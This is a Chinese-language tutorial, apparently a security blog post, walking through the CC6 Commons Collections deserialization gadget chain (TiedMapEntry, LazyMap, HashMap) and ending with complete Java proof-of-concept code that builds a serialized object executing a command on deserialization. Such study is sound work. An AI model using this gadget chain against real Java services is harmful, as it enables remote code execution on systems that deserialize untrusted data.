CC6

在Java高版本,因为官方修改了AnnotationInvocationHandler的readObject方法,导致CC1无法在高版本的使用,cc6的出现就是为了解决高版本的利用问题。CC6不受 jdk 版本制约,用一句话介绍一下就是 CC6 = CC1 + URLDNS 即LazyMap版CC1的后半部分加上URLDNS的前半部分(HashMap)

image-20230312141032952

找到TiedMapEntry类中的getValue()方法调用了LazyMapget()方法

image-20230312141113959

接下来寻找调用getValue的地方,寻找的方法也略提一嘴,因为getValue()这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况 。这里寻找到同名函数下的hashCode()方法调用了getValue()方法

image-20230312142720290

如果在实战里面,在链子中找到了hashCode()方法,说明我们的构造已经可以提前庆祝了

我们去找谁调用了hashCode()方法,在 Java 反序列化当中,找到hashCode()之后的链子用的基本都是这一条

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

更巧的是, HashMap 类本身就是一个非常完美的入口类

正如之前URLDNS链分析的一样,这条链子还有点问题:序列化的时候执行put()方法就已经执行命令

我们得先不让其进行命令执行,在反序列化的时候再命令执行。可以任意修改transformers、chainedTransformer、lazyMap

这里我们修改lazyMap,lazyMap中之前传进去的参数是chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回chainedTransformer

image-20230312142047275

还有就是map2调用put()的时候会增加个key,put完要删掉,不然反序列化的时候key值存在就不会进行transform方法了

image-20230312201257119

用lazyMap.remove(“key”) 或者 lazyMap.clear() 都可以

image-20230312200612968

构造完成,成功执行

image-20230312135601931

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1)); //第二个参数任意,因为后面反射会修改

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");

lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois =new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}